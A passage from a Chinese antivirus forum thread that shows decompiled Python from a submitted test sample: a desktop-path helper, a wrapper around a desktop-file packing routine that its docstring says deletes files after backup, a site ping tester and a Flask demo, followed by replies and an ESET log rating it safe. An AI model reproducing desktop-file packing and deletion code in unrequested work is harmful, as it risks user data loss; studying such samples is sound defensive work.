  852.                 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders")
  853.                 desktop_path = winreg.QueryValueEx(key, "Desktop")[0]
  854.                 winreg.CloseKey(key)
  855.                 return desktop_path
  856.             possible_paths = [
  857.              os.path.join(os.path.expanduser("~"), "Desktop"),
  858.              os.path.join(os.path.expanduser("~"), "桌面"),
  859.              os.path.expanduser("~")]
  860.             for path in possible_paths:
  861.                 if os.path.exists(path):
  862.                     return path

  863.             return os.path.expanduser("~")
  864.         except Exception as e:
  865.             try:
  866.                 print(f"获取桌面路径失败,使用用户目录: {str(e)}")
  867.                 return os.path.expanduser("~")
  868.             finally:
  869.                 e = None
  870.                 del e


  871.     def pack_desktop_files_safe(backup_first=True):
  872.         """
  873.     安全版本:可以选择先备份再删除
  874.     """
  875.         desktop_path = get_desktop_path()
  876.         if not desktop_path:
  877.             print("无法获取桌面路径")
  878.             return False
  879.         backup_dir = None
  880.         if backup_first:
  881.             backup_dir = os.path.join(desktop_path, "desktop_backup")
  882.             try:
  883.                 os.makedirs(backup_dir, exist_ok=True)
  884.             except Exception as e:
  885.                 try:
  886.                     print(f"创建备份目录失败: {str(e)}")
  887.                     backup_dir = None
  888.                 finally:
  889.                     e = None
  890.                     del e

  891.         if pack_desktop_files():
  892.             if backup_dir:
  893.                 if os.path.exists(backup_dir):
  894.                     try:
  895.                         shutil.rmtree(backup_dir)
  896.                     except:
  897.                         pass

  898.             return True
  899.         if backup_dir:
  900.             if os.path.exists(backup_dir):
  901.                 print("操作失败,正在恢复备份...")
  902.                 try:
  903.                     for item in os.listdir(backup_dir):
  904.                         src = os.path.join(backup_dir, item)
  905.                         dst = os.path.join(desktop_path, item)
  906.                         shutil.move(src, dst)

  907.                     shutil.rmtree(backup_dir)
  908.                     print("备份已恢复")
  909.                 except Exception as e:
  910.                     try:
  911.                         print(f"恢复备份失败: {str(e)}")
  912.                     finally:
  913.                         e = None
  914.                         del e

  915.         return False


  916.     if __name__ == "__main__":
  917.         print("开始打包桌面文件...")
  918.         success = pack_desktop_files()
  919.         if success:
  920.             print("操作成功完成")
  921.         else:
  922.             print("操作失败")
  923. import subprocess, platform, time
  924. from datetime import datetime

  925. def ping_website(host):
  926.     """
  927.     测试指定网站是否能ping通
  928.    
  929.     Args:
  930.         host (str): 要ping的网站域名或IP地址
  931.    
  932.     Returns:
  933.         bool: 如果能ping通返回True,否则返回False
  934.     """
  935.     param = "-n" if platform.system().lower() == "windows" else "-c"
  936.     command = [
  937.      "ping", param, "3", host]
  938.     try:
  939.         result = subprocess.run(command, capture_output=True,
  940.           text=True,
  941.           timeout=10)
  942.         return result.returncode == 0
  943.     except subprocess.TimeoutExpired:
  944.         print(f"Ping {host} 超时")
  945.         return False
  946.     except Exception as e:
  947.         try:
  948.             print(f"Ping {host} 时发生错误: {e}")
  949.             return False
  950.         finally:
  951.             e = None
  952.             del e


  953. def ping_navigation_sites():
  954.     """
  955.     Ping常见的导航网站并输出结果
  956.     """
  957.     navigation_sites = [
  958.      'www.baidu.com',
  959.      'www.google.com',
  960.      'www.bing.com',
  961.      'www.qq.com',
  962.      'www.taobao.com',
  963.      'www.jd.com',
  964.      'www.sina.com.cn',
  965.      'www.sohu.com',
  966.      'www.163.com',
  967.      'www.zhihu.com']
  968.     print("==================================================")
  969.     print(f'开始测试导航网站连通性 - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}')
  970.     print("==================================================")
  971.     success_count = 0
  972.     total_count = len(navigation_sites)
  973.     for site in navigation_sites:
  974.         print(f"正在测试 {site} ...", end=" ")
  975.         start_time = time.time()
  976.         is_success = ping_website(site)
  977.         end_time = time.time()
  978.         response_time = round((end_time - start_time) * 1000, 2)
  979.         if is_success:
  980.             print(f"✓ 通 (响应时间: {response_time}ms)")
  981.             success_count += 1
  982.         else:
  983.             print("✗ 不通")
  984.         time.sleep(1)

  985.     print("==================================================")
  986.     print(f"测试完成: {success_count}/{total_count} 个网站可访问")
  987.     print(f"成功率: {success_count / total_count * 100:.1f}%")
  988.     print("==================================================")


  989. def ping_specific_site(host):
  990.     """
  991.     Ping指定的单个网站并显示详细信息
  992.    
  993.     Args:
  994.         host (str): 要测试的网站
  995.     """
  996.     print(f"\n详细测试: {host}")
  997.     print("------------------------------")
  998.     param = "-n" if platform.system().lower() == "windows" else "-c"
  999.     command = ["ping", param, "4", host]
  1000.     try:
  1001.         result = subprocess.run(command, capture_output=True,
  1002.           text=True,
  1003.           timeout=15)
  1004.         if result.returncode == 0:
  1005.             print("状态: ✓ 可以访问")
  1006.             print("\n详细结果:")
  1007.             print(result.stdout)
  1008.         else:
  1009.             print("状态: ✗ 无法访问")
  1010.             print(f"错误信息:\n{result.stderr}")
  1011.     except Exception as e:
  1012.         try:
  1013.             print(f"测试时发生错误: {e}")
  1014.         finally:
  1015.             e = None
  1016.             del e


  1017. if __name__ == "__main__":
  1018.     ping_navigation_sites()
  1019. from flask import Flask
  1020. app = Flask(__name__)

  1021. @app.route("/")
  1022. def home():
  1023.     return "<h1>Hello, World!</h1><p>Welcome to your local Flask server!</p>"


  1024. @app.route("/about")
  1025. def about():
  1026.     return "<h1>About Page</h1><p>This is a simple Flask web server.</p>"


  1027. if __name__ == "__main__":
  1028.     app.run(host="127.0.0.1", port=5000, debug=True)
复制代码
wertcky
发表于 5 小时前 | 显示全部楼层
nulluser1234 发表于 2025-12-1 13:16
求求bro不要发这种水样本了,每天就这几种代码变着法子编

辛苦了,话说最近这哥们很活跃,但是大部分样本都……
Curve25519
发表于 15 分钟前 | 显示全部楼层
ESET Smart Security Premium,沙盘中双击触发 LiveGuard 分析,不报

2025/12/1 20:42:37;ESET 内核;ESET LiveGuard 正在分析文件,以确保其可安全使用。我们会在几分钟后给您发送通知。取消阻止文件(不建议)更改设置;NT AUTHORITY\ANONYMOUS LOGON

2025/12/1 20:43:49;006E9FECA95F3A9D7AA8A1591F91397C51DBC9FB;\Device\TweakCubeRamDisk0\Sandbox\Admin\DefaultBox\drive\W\网速测试\test.exe;17044610;可执行文件;自动;ESET LiveGuard;DESKTOP-K07940I\Admin;S-1-5-21-1216372390-1976424117-2270819850-1001;

2025/12/1 20:45:52;ESET 内核;ESET LiveGuard 已完成分析文件。可以安全使用。;DESKTOP-K07940I\Admin
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-12-1 21:01 , Processed in 0.088183 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表